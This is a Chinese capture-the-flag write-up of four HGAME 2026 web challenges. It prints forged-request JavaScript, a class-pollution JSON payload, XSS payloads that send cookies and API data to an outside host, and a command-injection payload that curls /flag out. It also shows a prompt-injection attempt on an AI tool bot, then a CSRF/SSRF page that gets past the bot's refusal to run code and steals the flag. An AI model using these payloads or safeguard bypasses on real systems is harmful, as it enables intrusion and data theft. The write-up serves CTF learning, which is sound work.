HGAME-2026-WEEK1-WEB

38次阅读
没有评论

WEEK1-WEB

魔理沙的魔法目录

HGAME-2026-WEEK1-WEB

这种题目通常是前端js代码执行了之后就能把flag套出来,不过不急,我们先观察。

HGAME-2026-WEEK1-WEB

F12网络检测了一段时间之后,发现了大量check,record包,这些是什么就很值去思考了

HGAME-2026-WEEK1-WEB

看来是可以直接向record发送时间数据,于是我们直接构造伪造的时间记录请求。

// 1. 获取当前的认证 Token 和 用户名
// 代码中显示使用了 localStorage 存储 ctf_token
const token = localStorage.getItem('ctf_token'); 
const username = localStorage.getItem('ctf_user'); // 或者是 player_ 开头的那个 key

if (!token || !username) {
    console.error("未找到 Token 或用户名,请确保页面已加载并已'登录'。");
} else {
    console.log(`当前用户: ${username}, Token: ${token}`);

    // 2. 构造欺骗请求
    // 题目要求 1 小时 = 3600 秒 = 3,600,000 毫秒
    // 我们直接发送一个非常大的数值,同时满足秒或毫秒的判断逻辑
    const spoofTime = 4000000; 

    // 3. 向 /record 接口发送 POST 请求,伪造时间
    fetch('/record', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'Authorization': token
        },
        body: JSON.stringify({
            username: username,
            time: spoofTime 
        })
    })
    .then(res => res.json())
    .then(data => {
        console.log("Record 响应:", data);
        
        // 4. 发送成功后,立即请求 /check 接口获取 Flag
        console.log("正在尝试获取 Flag...");
        return fetch('/check', {
            method: 'GET',
            headers: {
                'Authorization': token
            }
        });
    })
    .then(res => res.json())
    .then(data => {
        // 5. 输出结果
        if (data.flag) {
            console.log("%c Flag: " + data.flag, "color: green; font-size: 20px; font-weight: bold;");
            alert("Flag: " + data.flag);
        }
    })
    .catch(err => console.error("请求出错:", err));
}

HGAME-2026-WEEK1-WEB

Vidarshop

HGAME-2026-WEEK1-WEB

尝试注册,发现uid=0是可以注册的,不过发现不是管理员。并且登进去之后直接点击+钱似乎余额不变。

随后我注册了好几个账号,观察出来了:205192021 testu 2051920211 testu1 20519202112 testu12 2051920 test。

那么,admin对应的UID是不是相应的26个字母组合呢?尝试了 1 4 13 9 14 注册,登录,结果发现真的变成了admin

HGAME-2026-WEEK1-WEB

但是,即便是身为admin,点击加钱也是没法变动余额的,这时候看到了题目的提示:

什么你这卖的东西这么贵 什么为什么都用uid了用户名还要抢啊, 什么凭啥admin可以管我们所有人的钱啊

这是不是意味着,实际存储用户余额的始终都是一个同一个类的私有属性呢?

于是这里采用原型链污染的方法构造payload:

POST /api/update HTTP/1.1
Host: cloud-big.hgame.vidar.club:31677
Content-Length: 99
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjE0MTM5MTQiLCJyb2xlIjoidXNlciIsImV4cCI6MTc3MDAyMzk3NH0.3mXXdky07naVSt07J26aVqtDF4cPEjkDS_kuhd1Awfg
Accept-Language: zh-CN,zh;q=0.9
uid: 1413914
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Origin: http://cloud-big.hgame.vidar.club:31677
Referer: http://cloud-big.hgame.vidar.club:31677/
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VyIjoiMCJ9.aYAhkA.ubtJY1iH3dm9sQrkkIWgNwnRBTY
Connection: keep-alive

{
    "__init__": {
        "__globals__": {
            "balance": 1000000
        }
    }
}

HGAME-2026-WEEK1-WEB

博丽神社的绘马挂

HGAME-2026-WEEK1-WEB

太经典了,输入框+管理员查看,这不是经典的XSS攻击吗?

不过经过反复尝试,发现存在一些过滤,比如直接用script标签会被拦截,不过测试之后发现可以用img标签绕过。

<img src="#" onerror="alert('XSS')">

于是尝试,使用这类方法把管理cookie偷出来

<img src=x onerror="new Image().src='http://capoo.me:65000/?cookie='+document.cookie">

但是竟然没获得结果,这个时候我看到了题目提示,说:归档里面有好东西

于是抓包,找到归档的API接口

HGAME-2026-WEEK1-WEB

<img src=x onerror="fetch('/api/archives').then(r=>r.text()).then(t=>window.location.href='http://capoo.me:65000/?api_data='+btoa(t))">

得到一串base64字符

W3siY29udGVudCI6IlRoZV9TZWNyZXRfSXM6IEhnYW1le3RoZV81ZWNyM1QtMEZfSGFLVXIzbF9KMU5qNDhmNTU4NDV9IiwiaWQiOjEwMDEsImlzX3ByaXZhdGUiOnRydWUsInN0YXR1cyI6ImFyY2hpdmVkIiwidGltZXN0YW1wIjoiMjAyNC0wMS0wMSAwMDowMDowMCIsInVzZXJuYW1lIjoiUmVpbXUifV0K

HGAME-2026-WEEK1-WEB

发现flag

MyMonitor

HGAME-2026-WEEK1-WEB

一个由go编写的后端程序

在handler.go的usercmd函数中。代码使用了syncPool来复用MonitorStruct

函数逻辑如下:

func UserCmd(c *gin.Context) {
    monitor := MonitorPool.Get().(*MonitorStruct) // 1. 从池中获取对象
    defer MonitorPool.Put(monitor)                // 2. 注册 defer:函数结束时必然放回池中
    
    if err := c.ShouldBindJSON(monitor); err != nil { // 3. 绑定用户输入的 JSON
        // 4. 【漏洞点】如果绑定报错,直接返回 HTTP 400,未执行 reset
        c.JSON(400, gin.H{"error": err.Error()})
        return
    }
    
    defer monitor.reset() // 5. 正常的重置操作在错误处理之后才注册
    // ... 后续业务逻辑
}
  1. 对象未清洗回收:当 c.ShouldBindJSON​ 解析发生错误时,程序提前返回。此时,monitor.reset()​ 尚未被注册执行,但 MonitorPool.Put(monitor) 会因第一个 defer 必定执行。这导致一个带有部分用户数据的“脏对象”被放回了对象池 [4]。
  2. JSON 解析特性:Go 的 JSON 解析器按顺序解析字段。如果攻击者构造的 JSON 中,恶意数据字段(args​)在类型错误字段(cmd)之前,解析器会先将恶意数据写入对象内存,随后读到错误字段报错退出。此时对象内存中已残留了攻击者的恶意数据。

题目中的 AdminCmd​ 接口模拟了一个机器人行为,它会定期从 MonitorPool 获取对象执行命令。

func AdminCmd(c *gin.Context) {
    monitor := MonitorPool.Get().(*MonitorStruct) // 如果获取到脏对象,Args 字段可能已被污染
    // ... 绑定 Admin 输入 (Admin 通常只发送 cmd: ls)
    fullCommand := fmt.Sprintf("%s %s", monitor.Cmd, monitor.Args) // 拼接命令
    exec.Command("bash", "-c", fullCommand).CombinedOutput()
}

如果在 AdminCmd​ 调用前,能成功向池中“投毒”,Admin 执行的命令将变为 ls {恶意Args},从而实现命令注入。

由于无法直接看到 Admin 的命令回显,需使用带外通道(OOB),如 Webhook.site 或 VPS 监听端口。

为了触发漏洞,Payload 必须满足:

  1. args 字段在前:确保恶意命令被写入内存。
  2. cmd​ 字段在后且类型错误:触发 Unmarshal​ 报错,利用 return​ 跳过 monitor.reset()

payload:

{
    "args": "; curl http://jp-01.ling-idc.cn:65000/`cat /flag`",
    "cmd": 1
}

注:MonitorStruct Cmd定义为 string[4],此处传入 int(1) 会触发类型不匹配错误。

随后接收到flag

HGAME-2026-WEEK1-WEB

My Little Assistant

一个在线CT-TOOLbot,似乎由执行代码和访问网站的能力。

但是经过几次测试,发现:
1.这个AI上下文内容极短,只有一个对话
2.凡是用户发起的要调用到py_eval的指令,都会被拒绝执行,无论有没有害

HGAME-2026-WEEK1-WEB

网站访问功能更是诡异,只能获取到前300字节。

第一次我试图,在我的远程服务器上写入带有恶意PROMPT的网页,让AI去读取,以为ai读取到了之后会直接执行,没想到它永远只会回答我看到了什么,但是永远不会去执行网页上的恶意指令。

经过检查,我并没有在mcp_server.py中找到诸如“py_eval被管理员禁用了”等语句,说明屏蔽我的,要么是前端和后端之间的一道防火墙,或者是AI模型本身的限制。

既然mcp运行在本地,那么AI应该能访问到 http://127.0.0.1

HGAME-2026-WEEK1-WEB

同时观察到,py_request 启动的浏览器带有 –disable-web-security 参数 mcp_server.py。这意味着它关闭了同源策略(SOP/CORS),允许跨域请求。

那这样的话,大概率可有试一下CSRF+SSRF这种方案了
我们可以构造一个恶意的网页,让 AI 访问它。这个网页里包含 JavaScript 代码,这段 JS 代码会代表浏览器http://127.0.0.1:8001/mcp​ 发送 POST 请求(调用 py_eval),拿到 Flag 后再发回给监听服务器。

<!DOCTYPE html>
<html>
<body>
<script>
    // 1. 构造攻击 Payload,目标是本地的 MCP 服务
    // 我们读取 /flag 并赋值给变量,exec 会返回局部变量
    const payload = {
        "params": {
            "name": "py_eval",
            "arguments": {
                "code": "flag = open('/flag').read()"
            }
        }
    };

    // 2. 向 localhost:8001 发送 POST 请求
    // 由于 --disable-web-security,这里允许跨域
    fetch('http://127.0.0.1:8001/mcp', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify(payload)
    })
    .then(response => response.json()) // 解析后端返回的 JSON
    .then(data => {
        // 3. 将拿到的数据(包含 Flag)回传给监听服务器
        // 数据通常在 data.result.content[0].text 里面,是转义过的 JSON 字符串
        const resultString = JSON.stringify(data);
        // 使用 base64 编码防止特殊字符传输问题
        const b64Data = btoa(unescape(encodeURIComponent(resultString)));
        
        fetch('http://138.2.17.177:65000/?flag=' + b64Data);
    })
    .catch(error => {
        // 报错也回传
        fetch('http://138.2.17.177:65000/?error=' + error);
    });
</script>
</body>
</html>

HGAME-2026-WEEK1-WEB

HGAME-2026-WEEK1-WEB

HGAME-2026-WEEK1-WEB

正文完
 0
评论(没有评论)